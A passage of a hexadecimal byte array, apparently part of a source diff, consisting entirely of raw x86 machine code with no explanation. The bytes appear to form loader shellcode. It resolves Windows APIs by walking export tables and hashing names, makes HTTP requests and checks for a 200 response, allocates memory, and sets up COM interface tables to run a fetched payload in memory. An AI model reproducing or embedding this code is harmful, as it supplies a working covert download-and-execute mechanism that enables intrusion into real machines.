0x00, 0x01, 0x00, 0x00, 0x89, + 0x44, 0x24, 0x3c, 0x89, 0x44, 0x24, 0x58, 0x8d, 0x44, 0x24, 0x28, 0x50, + 0x68, 0x00, 0x00, 0x00, 0x10, 0x56, 0x8d, 0x87, 0x20, 0x05, 0x00, 0x00, + 0x50, 0xff, 0x57, 0x7c, 0x85, 0xc0, 0x0f, 0x84, 0xa3, 0x01, 0x00, 0x00, + 0x33, 0xc0, 0x83, 0x7c, 0x24, 0x34, 0x04, 0x56, 0x56, 0x0f, 0x94, 0xc0, + 0x56, 0x89, 0x44, 0x24, 0x20, 0xb8, 0x00, 0x32, 0xe0, 0x84, 0x56, 0x56, + 0x0f, 0x44, 0xd8, 0xff, 0x97, 0x80, 0x00, 0x00, 0x00, 0x89, 0x44, 0x24, + 0x24, 0x85, 0xc0, 0x0f, 0x84, 0x76, 0x01, 0x00, 0x00, 0x56, 0x56, 0x6a, + 0x03, 0x56, 0x56, 0xff, 0x74, 0x24, 0x54, 0x8d, 0x4c, 0x24, 0x7c, 0x51, + 0x50, 0xff, 0x97, 0x84, 0x00, 0x00, 0x00, 0x8b, 0xc8, 0x89, 0x4c, 0x24, + 0x20, 0x85, 0xc9, 0x0f, 0x84, 0xfb, 0x00, 0x00, 0x00, 0x55, 0x56, 0x53, + 0x56, 0x56, 0x56, 0x8d, 0x84, 0x24, 0x7c, 0x01, 0x00, 0x00, 0x50, 0x8d, + 0x87, 0x20, 0x06, 0x00, 0x00, 0x50, 0x51, 0xff, 0x97, 0x94, 0x00, 0x00, + 0x00, 0x8b, 0xe8, 0x85, 0xed, 0x0f, 0x84, 0xca, 0x00, 0x00, 0x00, 0x39, + 0x74, 0x24, 0x18, 0x74, 0x20, 0xf7, 0xc3, 0x00, 0x10, 0x00, 0x00, 0x74, + 0x18, 0x6a, 0x04, 0x8d, 0x44, 0x24, 0x20, 0xc7, 0x44, 0x24, 0x20, 0x80, + 0x33, 0x00, 0x00, 0x50, 0x6a, 0x1f, 0x55, 0xff, 0x97, 0x88, 0x00, 0x00, + 0x00, 0x56, 0x56, 0x56, 0x56, 0x55, 0xff, 0x97, 0x98, 0x00, 0x00, 0x00, + 0x85, 0xc0, 0x0f, 0x84, 0x8a, 0x00, 0x00, 0x00, 0x56, 0x8d, 0x44, 0x24, + 0x14, 0xc7, 0x44, 0x24, 0x14, 0x04, 0x00, 0x00, 0x00, 0x50, 0x8d, 0x44, + 0x24, 0x1c, 0x50, 0x68, 0x13, 0x00, 0x00, 0x20, 0x55, 0xff, 0x97, 0x9c, + 0x00, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x67, 0x81, 0x7c, 0x24, 0x14, 0xc8, + 0x00, 0x00, 0x00, 0x75, 0x5d, 0x56, 0x8d, 0x44, 0x24, 0x14, 0xc7, 0x44, + 0x24, 0x14, 0x04, 0x00, 0x00, 0x00, 0x50, 0x8d, 0x9f, 0x50, 0x07, 0x00, + 0x00, 0x53, 0x68, 0x05, 0x00, 0x00, 0x20, 0x55, 0x89, 0x33, 0x89, 0x73, + 0x04, 0xff, 0x97, 0x9c, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x33, 0x8b, + 0x03, 0x0b, 0x43, 0x04, 0x74, 0x2c, 0x6a, 0x04, 0x68, 0x00, 0x30, 0x00, + 0x00, 0xff, 0x33, 0x56, 0xff, 0x57, 0x3c, 0x89, 0x87, 0x58, 0x07, 0x00, + 0x00, 0x85, 0xc0, 0x74, 0x15, 0x8d, 0x4c, 0x24, 0x20, 0x89, 0x74, 0x24, + 0x20, 0x51, 0xff, 0x33, 0x50, 0x55, 0xff, 0x97, 0x8c, 0x00, 0x00, 0x00, + 0x8b, 0xf0, 0x55, 0xff, 0x97, 0x90, 0x00, 0x00, 0x00, 0xff, 0x74, 0x24, + 0x24, 0xff, 0x97, 0x90, 0x00, 0x00, 0x00, 0x5d, 0xff, 0x74, 0x24, 0x24, + 0xff, 0x97, 0x90, 0x00, 0x00, 0x00, 0x85, 0xf6, 0x74, 0x45, 0xff, 0xb7, + 0x50, 0x07, 0x00, 0x00, 0x8b, 0x9f, 0x58, 0x07, 0x00, 0x00, 0x8d, 0x87, + 0x40, 0x07, 0x00, 0x00, 0x53, 0x50, 0x8d, 0x87, 0x30, 0x07, 0x00, 0x00, + 0x50, 0xe8, 0xc7, 0x14, 0x00, 0x00, 0xff, 0x77, 0x2c, 0x8d, 0x87, 0x28, + 0x06, 0x00, 0x00, 0xff, 0x77, 0x28, 0x50, 0xe8, 0x90, 0x13, 0x00, 0x00, + 0x83, 0xc4, 0x1c, 0x3b, 0x83, 0x08, 0x19, 0x00, 0x00, 0x75, 0x0c, 0x3b, + 0x93, 0x0c, 0x19, 0x00, 0x00, 0x75, 0x04, 0x8b, 0xc6, 0xeb, 0x02, 0x33, + 0xc0, 0x5f, 0x5e, 0x5b, 0x81, 0xc4, 0x58, 0x02, 0x00, 0x00, 0xc3, 0x81, + 0xec, 0xdc, 0x01, 0x00, 0x00, 0x53, 0x55, 0x56, 0x8b, 0xb4, 0x24, 0xf0, + 0x01, 0x00, 0x00, 0x57, 0x8b, 0x6e, 0x3c, 0x8b, 0x44, 0x2e, 0x78, 0x85, + 0xc0, 0x0f, 0x84, 0xe5, 0x00, 0x00, 0x00, 0x8d, 0x3c, 0x30, 0x8b, 0x5f, + 0x18, 0x85, 0xdb, 0x0f, 0x84, 0xd7, 0x00, 0x00, 0x00, 0x8b, 0x47, 0x1c, + 0x33, 0xd2, 0x03, 0xc6, 0x89, 0x54, 0x24, 0x10, 0x89, 0x44, 0x24, 0x24, + 0x8b, 0x47, 0x20, 0x03, 0xc6, 0x89, 0x44, 0x24, 0x14, 0x8b, 0x47, 0x24, + 0x03, 0xc6, 0x89, 0x44, 0x24, 0x20, 0x8b, 0x47, 0x0c, 0x03, 0xc6, 0x8a, + 0x08, 0x84, 0xc9, 0x74, 0x2a, 0x8b, 0x74, 0x24, 0x10, 0x8d, 0x94, 0x24, + 0xe8, 0x00, 0x00, 0x00, 0x2b, 0xd0, 0x80, 0xc9, 0x20, 0x46, 0x88, 0x0c, + 0x02, 0x40, 0x8a, 0x08, 0x84, 0xc9, 0x75, 0xf2, 0x89, 0x74, 0x24, 0x10, + 0x8b, 0xb4, 0x24, 0xf4, 0x01, 0x00, 0x00, 0x8b, 0x54, 0x24, 0x10, 0xff, + 0xb4, 0x24, 0x04, 0x02, 0x00, 0x00, 0x8d, 0x84, 0x24, 0xec, 0x00, 0x00, + 0x00, 0xc6, 0x84, 0x14, 0xec, 0x00, 0x00, 0x00, 0x00, 0xff, 0xb4, 0x24, + 0x04, 0x02, 0x00, 0x00, 0x50, 0xe8, 0xc6, 0x12, 0x00, 0x00, 0x89, 0x44, + 0x24, 0x24, 0x83, 0xc4, 0x0c, 0x8b, 0x44, 0x24, 0x14, 0x83, 0xc0, 0xfc, + 0x89, 0x54, 0x24, 0x1c, 0x8d, 0x04, 0x98, 0x89, 0x44, 0x24, 0x10, 0xff, + 0xb4, 0x24, 0x04, 0x02, 0x00, 0x00, 0x8b, 0x08, 0xff, 0xb4, 0x24, 0x04, + 0x02, 0x00, 0x00, 0x03, 0xce, 0x51, 0xe8, 0x95, 0x12, 0x00, 0x00, 0x33, + 0x44, 0x24, 0x24, 0x83, 0xc4, 0x0c, 0x33, 0x54, 0x24, 0x1c, 0x3b, 0x84, + 0x24, 0xf8, 0x01, 0x00, 0x00, 0x75, 0x09, 0x3b, 0x94, 0x24, 0xfc, 0x01, + 0x00, 0x00, 0x74, 0x1d, 0x8b, 0x44, 0x24, 0x10, 0x83, 0xe8, 0x04, 0x89, + 0x44, 0x24, 0x10, 0x83, 0xeb, 0x01, 0x75, 0xbb, 0x33, 0xc0, 0x5f, 0x5e, + 0x5d, 0x5b, 0x81, 0xc4, 0xdc, 0x01, 0x00, 0x00, 0xc3, 0x8b, 0x44, 0x24, + 0x20, 0x8b, 0x4c, 0x24, 0x24, 0x0f, 0xb7, 0x44, 0x58, 0xfe, 0x8b, 0x0c, + 0x81, 0x03, 0xce, 0x3b, 0xcf, 0x72, 0x7d, 0x8b, 0x44, 0x2e, 0x7c, 0x03, + 0xc7, 0x3b, 0xc8, 0x73, 0x73, 0x33, 0xd2, 0x38, 0x11, 0x74, 0x1e, 0x8d, + 0x7c, 0x24, 0x28, 0x8b, 0xf1, 0x2b, 0xf9, 0x83, 0xfa, 0x3c, 0x73, 0x11, + 0x8a, 0x06, 0x88, 0x04, 0x37, 0x80, 0x3e, 0x2e, 0x74, 0x07, 0x42, 0x46, + 0x80, 0x3e, 0x00, 0x75, 0xea, 0xc7, 0x44, 0x14, 0x29, 0x64, 0x6c, 0x6c, + 0x00, 0x42, 0x03, 0xca, 0x33, 0xd2, 0x38, 0x11, 0x74, 0x17, 0x8d, 0x74, + 0x24, 0x68, 0x2b, 0xf1, 0x83, 0xfa, 0x7f, 0x73, 0x0c, 0x8a, 0x01, 0x42, + 0x88, 0x04, 0x0e, 0x41, 0x80, 0x39, 0x00, 0x75, 0xef, 0x8b, 0xb4, 0x24, + 0xf0, 0x01, 0x00, 0x00, 0x8d, 0x44, 0x24, 0x28, 0x50, 0xc6, 0x44, 0x14, + 0x6c, 0x00, 0xff, 0x56, 0x30, 0x85, 0xc0, 0x74, 0x0d, 0x8d, 0x4c, 0x24, + 0x68, 0x51, 0x50, 0xff, 0x56, 0x34, 0x8b, 0xc8, 0xeb, 0x02, 0x33, 0xc9, + 0x8b, 0xc1, 0xe9, 0x5b, 0xff, 0xff, 0xff, 0x56, 0x8b, 0x74, 0x24, 0x0c, + 0x57, 0x33, 0xff, 0x8b, 0x4e, 0x18, 0x85, 0xc9, 0x74, 0x09, 0x8b, 0x01, + 0x51, 0xff, 0x50, 0x08, 0x89, 0x7e, 0x18, 0x8b, 0x4e, 0x1c, 0x85, 0xc9, + 0x74, 0x09, 0x8b, 0x01, 0x51, 0xff, 0x50, 0x08, 0x89, 0x7e, 0x1c, 0x8b, + 0x4e, 0x14, 0x85, 0xc9, 0x74, 0x09, 0x8b, 0x01, 0x51, 0xff, 0x50, 0x08, + 0x89, 0x7e, 0x14, 0x8b, 0x4e, 0x10, 0x85, 0xc9, 0x74, 0x09, 0x8b, 0x01, + 0x51, 0xff, 0x50, 0x08, 0x89, 0x7e, 0x10, 0x8b, 0x4e, 0x0c, 0x85, 0xc9, + 0x74, 0x09, 0x8b, 0x01, 0x51, 0xff, 0x50, 0x08, 0x89, 0x7e, 0x0c, 0x8b, + 0x4e, 0x08, 0x85, 0xc9, 0x74, 0x12, 0x8b, 0x01, 0x51, 0xff, 0x50, 0x2c, + 0x8b, 0x46, 0x08, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x08, 0x89, 0x7e, 0x08, + 0x8b, 0x4e, 0x04, 0x85, 0xc9, 0x74, 0x09, 0x8b, 0x01, 0x51, 0xff, 0x50, + 0x08, 0x89, 0x7e, 0x04, 0x8b, 0x0e, 0x85, 0xc9, 0x74, 0x08, 0x8b, 0x01, + 0x51, 0xff, 0x50, 0x08, 0x89, 0x3e, 0x5f, 0x5e, 0xc3, 0x8b, 0x44, 0x24, + 0x04, 0x83, 0xc0, 0x10, 0xf0, 0xff, 0x00, 0x8b, 0x00, 0xc2, 0x04, 0x00, + 0xb8, 0x01, 0x40, 0x00, 0x80, 0xc2, 0x0c, 0x00, 0xb8, 0x01, 0x40, 0x00, + 0x80, 0xc2, 0x10, 0x00, 0x8b, 0x44, 0x24, 0x04, 0xff, 0x74, 0x24, 0x18, + 0xff, 0x74, 0x24, 0x14, 0x8b, 0x40, 0x08, 0xff, 0x74, 0x24, 0x14, 0x50, + 0x8b, 0x08, 0xff, 0x51, 0x28, 0xc2, 0x18, 0x00, 0xb8, 0x01, 0x40, 0x00, + 0x80, 0xc2, 0x14, 0x00, 0x57, 0x8b, 0x7c, 0x24, 0x14, 0x85, 0xff, 0x75, + 0x07, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xeb, 0x16, 0x56, 0x8b, 0x74, 0x24, + 0x0c, 0x8b, 0x46, 0x08, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x04, 0x8b, 0x46, + 0x08, 0x89, 0x07, 0x33, 0xc0, 0x5e, 0x5f, 0xc2, 0x10, 0x00, 0x8b, 0x44, + 0x24, 0x08, 0x85, 0xc0, 0x75, 0x07, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xeb, + 0x08, 0xc7, 0x00, 0x01, 0x00, 0x00, 0x00, 0x33, 0xc0, 0xc2, 0x08, 0x00, + 0x55, 0x8b, 0xec, 0xff, 0x75, 0x28, 0x8b, 0x45, 0x08, 0xff, 0x75, 0x24, + 0xff, 0x75, 0x20, 0x8b, 0x48, 0x08, 0xff, 0x75, 0x1c, 0xff, 0x75, 0x18, + 0x8b, 0x11, 0xff, 0x75, 0x0c, 0x50, 0x51, 0xff, 0x52, 0x2c, 0x5d, 0xc2, + 0x24, 0x00, 0x53, 0x56, 0x57, 0xe8, 0x03, 0x10, 0x00, 0x00, 0x8b, 0x74, + 0x24, 0x14, 0xb9, 0xf3, 0x1e, 0x40, 0x00, 0xbf, 0x85, 0x2c, 0x40, 0x00, + 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x08, 0xe8, 0xe8, 0x0f, 0x00, + 0x00, 0xb9, 0xcd, 0x1b, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, + 0x89, 0x48, 0x04, 0xe8, 0xd5, 0x0f, 0x00, 0x00, 0xb9, 0x7c, 0x1f, 0x40, + 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x08, 0xe8, 0xc2, + 0x0f, 0x00, 0x00, 0xb9, 0x3a, 0x1c, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, + 0x8b, 0x06, 0x89, 0x48, 0x0c, 0xe8, 0xaf, 0x0f, 0x00, 0x00, 0xb9, 0x10, + 0x1c, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x10, + 0xe8, 0x9c, 0x0f, 0x00, 0x00, 0xb9, 0xec, 0x1b, 0x40, 0x00, 0x2b, 0xcf, + 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x14, 0xe8, 0x89, 0x0f, 0x00, 0x00, + 0xb9, 0x54, 0x1c, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, + 0x48, 0x18, 0xe8, 0x76, 0x0f, 0x00, 0x00, 0xb9, 0x5f, 0x13, 0x40, 0x00, + 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x1c, 0xe8, 0x63, 0x0f, + 0x00, 0x00, 0xb9, 0x71, 0x12, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, + 0x06, 0x89, 0x48, 0x20, 0xe8, 0x50, 0x0f, 0x00, 0x00, 0xb9, 0x71, 0x12, + 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x24, 0xe8, + 0x3d, 0x0f, 0x00, 0x00, 0xb9, 0x71, 0x12, 0x40, 0x00, 0x2b, 0xcf, 0x03, + 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x28, 0xe8, 0x2a, 0x0f, 0x00, 0x00, 0xb9, + 0x71, 0x12, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, + 0x2c, 0xe8, 0x17, 0x0f, 0x00, 0x00, 0xb9, 0x71, 0x12, 0x40, 0x00, 0x2b, + 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x30, 0xe8, 0x04, 0x0f, 0x00, + 0x00, 0xb9, 0x64, 0x1f, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, + 0x89, 0x48, 0x34, 0xe8, 0xf1, 0x0e, 0x00, 0x00, 0xb9, 0x71, 0x12, 0x40, + 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x38, 0xe8, 0xde, + 0x0e, 0x00, 0x00, 0xb9, 0x71, 0x12, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, + 0x8b, 0x06, 0x89, 0x48, 0x3c, 0xe8, 0xcb, 0x0e, 0x00, 0x00, 0xb9, 0x71, + 0x12, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x40, + 0xe8, 0xb8, 0x0e, 0x00, 0x00, 0xb9, 0x71, 0x12, 0x40, 0x00, 0x2b, 0xcf, + 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x44, 0xe8, 0xa5, 0x0e, 0x00, 0x00, + 0xb9, 0x71, 0x12, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, + 0x48, 0x48, 0xe8, 0x92, 0x0e, 0x00, 0x00, 0xb9, 0x71, 0x12, 0x40, 0x00, + 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x4c, 0xe8, 0x7f, 0x0e, + 0x00, 0x00, 0xb9, 0x71, 0x12, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, + 0x06, 0x89, 0x48, 0x50, 0xe8, 0x6c, 0x0e, 0x00, 0x00, 0xb9, 0xe4, 0x1b, + 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x54, 0xe8, + 0x59, 0x0e, 0x00, 0x00, 0xb9, 0x71, 0x12, 0x40, 0x00, 0x2b, 0xcf, 0x03, + 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x58, 0xe8, 0x46, 0x0e, 0x00, 0x00, 0xb9, + 0x08, 0x1c, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, + 0x5c, 0xe8, 0x33, 0x0e, 0x00, 0x00, 0xb9, 0x71, 0x12, 0x40, 0x00, 0x2b, + 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x60, 0xe8, 0x20, 0x0e, 0x00, + 0x00, 0xb9, 0x8c, 0x1f, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, + 0x89, 0x48, 0x64, 0xe8, 0x0d, 0x0e, 0x00, 0x00, 0xb9, 0xdc, 0x1b, 0x40, + 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x68, 0xe8, 0xfa, + 0x0d, 0x00, 0x00, 0xb9, 0x71, 0x12, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, + 0x8b, 0x06, 0x89, 0x48, 0x6c, 0xe8, 0xe7, 0x0d, 0x00, 0x00, 0xb9, 0x71, + 0x12, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x70, + 0xe8, 0xd4, 0x0d, 0x00, 0x00, 0xb9, 0x71, 0x12, 0x40, 0x00, 0x8d, 0x5e, + 0x04, 0x2b, 0xcf, 0x8b, 0x7c, 0x24, 0x10, 0x03, 0xc8, 0x8b, 0x06, 0x53, + 0x89, 0x48, 0x74, 0x8d, 0x87, 0xdc, 0x03, 0x00, 0x00, 0x83, 0x66, 0x10, + 0x00, 0x50, 0x89, 0x7e, 0x14, 0xff, 0x57, 0x78, 0x85, 0xc0, 0x75, 0x13, + 0x8b, 0x0b, 0x8d, 0x46, 0x08, 0x50, 0x8d, 0x87, 0x8c, 0x04, 0x00, 0x00, + 0x50, 0x8b, 0x11, 0x51, 0xff, 0x52, 0x18, 0x5f, 0x5e, 0x5b, 0xc3, 0x8b, + 0x54, 0x24, 0x0c, 0x85, 0xd2, 0x75, 0x07, 0xb8, 0x03, 0x40, 0x00, 0x80, + 0xeb, 0x5f, 0x53, 0x8b, 0x5c, 0x24, 0x0c, 0x33, 0xc9, 0x56, 0x8b, 0x74, + 0x24, 0x0c, 0x57, 0x8b, 0x7e, 0x14, 0x8b, 0x84, 0x8f, 0xfc, 0x03, 0x00, + 0x00, 0x3b, 0x04, 0x8b, 0x75, 0x08, 0x41, 0x83, 0xf9, 0x04, 0x75, 0xee, + 0xeb, 0x2a, 0x33, 0xc9, 0x8b, 0x84, 0x8f, 0x0c, 0x04, 0x00, 0x00, 0x3b, + 0x04, 0x8b, 0x75, 0x08, 0x41, 0x83, 0xf9, 0x04, 0x75, 0xee, 0xeb, 0x14, + 0x33, 0xc9, 0x8b, 0x84, 0x8f, 0x8c, 0x04, 0x00, 0x00, 0x3b, 0x04, 0x8b, + 0x75, 0x0c, 0x41, 0x83, 0xf9, 0x04, 0x75, 0xee, 0x89, 0x32, 0x33, 0xc0, + 0xeb, 0x08, 0x83, 0x22, 0x00, 0xb8, 0x02, 0x40, 0x00, 0x80, 0x5f, 0x5e, + 0x5b, 0xc2, 0x0c, 0x00, 0x8b, 0x44, 0x24, 0x04, 0x6a, 0x00, 0x6a, 0x00, + 0x6a, 0xfd, 0x8b, 0x40, 0x0c, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x38, 0x33, + 0xc0, 0xc2, 0x08, 0x00, 0x8b, 0x4c, 0x24, 0x04, 0x83, 0xc8, 0xff, 0xf0, + 0x0f, 0xc1, 0x41, 0x10, 0x48, 0xc2, 0x04, 0x00, 0x8b, 0x44, 0x24, 0x04, + 0xff, 0x74, 0x24, 0x08, 0x8b, 0x40, 0x14, 0xff, 0x50, 0x4c, 0x33, 0xc0, + 0xc2, 0x08, 0x00, 0x83, 0xec, 0x14, 0x53, 0x8b, 0x5c, 0x24, 0x1c, 0x55, + 0x56, 0x57, 0x33, 0xff, 0x8d, 0xab, 0x58, 0x07, 0x00, 0x00, 0x83, 0xbb, + 0x1c, 0x05, 0x00, 0x00, 0x01, 0x8b, 0xc7, 0x89, 0x7c, 0x24, 0x10, 0x74, + 0x03, 0x8b, 0x6d, 0x00, 0x8b, 0x8b, 0xa4, 0x00, 0x00, 0x00, 0x8b, 0x74, + 0x24, 0x2c, 0x85, 0xc9, 0x0f, 0x84, 0xc5, 0x01, 0x00, 0x00, 0x56, 0x8d, + 0x83, 0x2c, 0x04, 0x00, 0x00, 0x50, 0x8d, 0x83, 0x1c, 0x04, 0x00, 0x00, + 0x50, 0xff, 0xd1, 0x85, 0xc0, 0x0f, 0x88, 0x89, 0x01, 0x00, 0x00, 0x8b, + 0x16, 0x8d, 0x7e, 0x04, 0x57, 0x8d, 0x83, 0x3c, 0x04, 0x00, 0x00, 0x50, + 0x8b, 0x0a, 0x8d, 0x45, 0x04, 0x50, 0x52, 0xff, 0x51, 0x0c, 0x85, 0xc0, + 0x0f, 0x88, 0x62, 0x01, 0x00, 0x00, 0x8b, 0x07, 0x8d, 0x54, 0x24, 0x14, + 0x52, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x28, 0x85, 0xc0, 0x0f, 0x88, 0x5c, + 0x01, 0x00, 0x00, 0x83, 0x7c, 0x24, 0x14, 0x00, 0x74, 0x1a, 0x8b, 0x0f, + 0x8d, 0x46, 0x08, 0x50, 0x8d, 0x83, 0x5c, 0x04, 0x00, 0x00, 0x50, 0x8b, + 0x11, 0x8d, 0x83, 0x4c, 0x04, 0x00, 0x00, 0x50, 0x51, 0xff, 0x52, 0x24, + 0x33, 0xff, 0x85, 0xc0, 0x0f, 0x88, 0x33, 0x01, 0x00, 0x00, 0x8b, 0x46, + 0x08, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x28, 0x85, 0xc0, 0x0f, 0x88, 0x05, + 0x01, 0x00, 0x00, 0x8d, 0x85, 0x04, 0x02, 0x00, 0x00, 0x50, 0xff, 0x53, + 0x70, 0x8b, 0x56, 0x08, 0x8b, 0xf8, 0x8d, 0x46, 0x0c, 0x50, 0x6a, 0x00, + 0x8b, 0x0a, 0x57, 0x52, 0x89, 0x44, 0x24, 0x28, 0xff, 0x51, 0x30, 0x57, + 0x8b, 0xf0, 0xff, 0x53, 0x74, 0x85, 0xf6, 0x0f, 0x88, 0xd7, 0x00, 0x00, + 0x00, 0x8b, 0x54, 0x24, 0x18, 0x8b, 0x74, 0x24, 0x2c, 0x8b, 0x12, 0x8d, + 0x46, 0x10, 0x50, 0x8d, 0x83, 0x6c, 0x04, 0x00, 0x00, 0x8b, 0x0a, 0x50, + 0x52, 0xff, 0x11, 0x85, 0xc0, 0x0f, 0x88, 0xb5, 0x00, 0x00, 0x00, 0x83, + 0x64, 0x24, 0x20, 0x00, 0x8b, 0x85, 0x10, 0x19, 0x00, 0x00, 0x89, 0x44, + 0x24, 0x1c, 0x8d, 0x44, 0x24, 0x1c, 0x50, 0x6a, 0x01, 0x6a, 0x11, 0xff, + 0x53, 0x58, 0x8b, 0xf8, 0x85, 0xff, 0x0f, 0x84, 0x90, 0x00, 0x00, 0x00, + 0x8b, 0x57, 0x0c, 0x33, 0xc0, 0x8b, 0xc8, 0x39, 0x85, 0x14, 0x19, 0x00, + 0x00, 0x72, 0x2d, 0x77, 0x08, 0x39, 0x85, 0x10, 0x19, 0x00, 0x00, 0x76, + 0x23, 0x33, 0xdb, 0x8a, 0x84, 0x29, 0x18, 0x19, 0x00, 0x00, 0x88, 0x04, + 0x0a, 0x41, 0x3b, 0x9d, 0x14, 0x19, 0x00, 0x00, 0x72, 0xed, 0x77, 0x08, + 0x3b, 0x8d, 0x10, 0x19, 0x00, 0x00, 0x72, 0xe3, 0x8b, 0x5c, 0x24, 0x28, + 0x8b, 0x4e, 0x10, 0x8d, 0x46, 0x14, 0x50, 0x57, 0x51, 0x8b, 0x11, 0xff, + 0x92, 0xb4, 0x00, 0x00, 0x00, 0xf7, 0xd8, 0x1b, 0xc0, 0x33, 0xd2, 0x40, + 0x8b, 0xca, 0x89, 0x44, 0x24, 0x10, 0x8b, 0x47, 0x0c, 0x39, 0x95, 0x14, + 0x19, 0x00, 0x00, 0x72, 0x27, 0x77, 0x08, 0x39, 0x95, 0x10, 0x19, 0x00, + 0x00, 0x76, 0x1d, 0x88, 0x94, 0x29, 0x18, 0x19, 0x00, 0x00, 0x88, 0x14, + 0x08, 0x41, 0x3b, 0x95, 0x14, 0x19, 0x00, 0x00, 0x72, 0xed, 0x77, 0x08, + 0x3b, 0x8d, 0x10, 0x19, 0x00, 0x00, 0x72, 0xe3, 0x57, 0xff, 0x53, 0x64, + 0x8b, 0x44, 0x24, 0x10, 0x5f, 0x5e, 0x5d, 0x5b, 0x83, 0xc4, 0x14, 0xc3, + 0x83, 0x27, 0x00, 0xe9, 0xcc, 0xfe, 0xff, 0xff, 0x89, 0x3e, 0xe9, 0xc7, + 0xfe, 0xff, 0xff, 0x33, 0xff, 0x8d, 0x46, 0x08, 0x50, 0x8d, 0x83, 0x5c, + 0x04, 0x00, 0x00, 0x50, 0x8d, 0x83, 0x4c, 0x04, 0x00, 0x00, 0x50, 0x57, + 0x57, 0xff, 0x93, 0xa0, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x89, 0xab, + 0xfe, 0xff, 0xff, 0x89, 0x7e, 0x08, 0x33, 0xc0, 0xeb, 0xbe, 0x83, 0xec, + 0x6c, 0x53, 0x8b, 0x5c, 0x24, 0x74, 0x33, 0xc0, 0x55, 0x56, 0x57, 0x8d, + 0x7c, 0x24, 0x3c, 0x33, 0xed, 0x21, 0x6c, 0x24, 0x14, 0x8d, 0xb3, 0x58, + 0x07, 0x00, 0x00, 0xab, 0xab, 0xab, 0xab, 0x33, 0xc0, 0x66, 0x89, 0x44, + 0x24, 0x10, 0x40, 0x39, 0x83, 0x1c, 0x05, 0x00, 0x00, 0x74, 0x02, 0x8b, + 0x36, 0x83, 0x3e, 0x02, 0x0f, 0x85, 0x64, 0x01, 0x00, 0x00, 0x8b, 0x84, + 0x24, 0x84, 0x00, 0x00, 0x00, 0x8b, 0x48, 0x14, 0x8d, 0x78, 0x1c, 0x57, + 0x51, 0x8b, 0x01, 0xff, 0x50, 0x40, 0x85, 0xc0, 0x0f, 0x88, 0x41, 0x01, + 0x00, 0x00, 0x8b, 0x07, 0x8d, 0x54, 0x24, 0x14, 0x52, 0x50, 0x8b, 0x08, + 0xff, 0x51, 0x48, 0x85, 0xc0, 0x0f, 0x88, 0x4e, 0x02, 0x00, 0x00, 0x8d, + 0x44, 0x24, 0x24, 0x50, 0x6a, 0x01, 0xff, 0x74, 0x24, 0x1c, 0xff, 0x53, + 0x68, 0x8d, 0x44, 0x24, 0x20, 0x50, 0x6a, 0x01, 0xff, 0x74, 0x24, 0x1c, + 0xff, 0x53, 0x6c, 0x8b, 0x44, 0x24, 0x20, 0x2b, 0x44, 0x24, 0x24, 0x83, + 0xc0, 0x01, 0x0f, 0x84, 0xbc, 0x00, 0x00, 0x00, 0x6a, 0x01, 0x6a, 0x00, + 0x6a, 0x0c, 0xff, 0x53, 0x5c, 0x8b, 0xe8, 0x33, 0xc9, 0x39, 0x8e, 0x04, + 0x08, 0x00, 0x00, 0xb8, 0x08, 0x20, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, + 0x2c, 0x74, 0x58, 0xff, 0xb6, 0x04, 0x08, 0x00, 0x00, 0x51, 0x6a, 0x08, + 0xff, 0x53, 0x5c, 0x89, 0x44, 0x24, 0x34, 0x33, 0xc0, 0x89, 0x84, 0x24, + 0x80, 0x00, 0x00, 0x00, 0x39, 0x86, 0x04, 0x08, 0x00, 0x00, 0x76, 0x63, + 0xc1, 0xe0, 0x09, 0x05, 0x08, 0x08, 0x00, 0x00, 0x03, 0xc6, 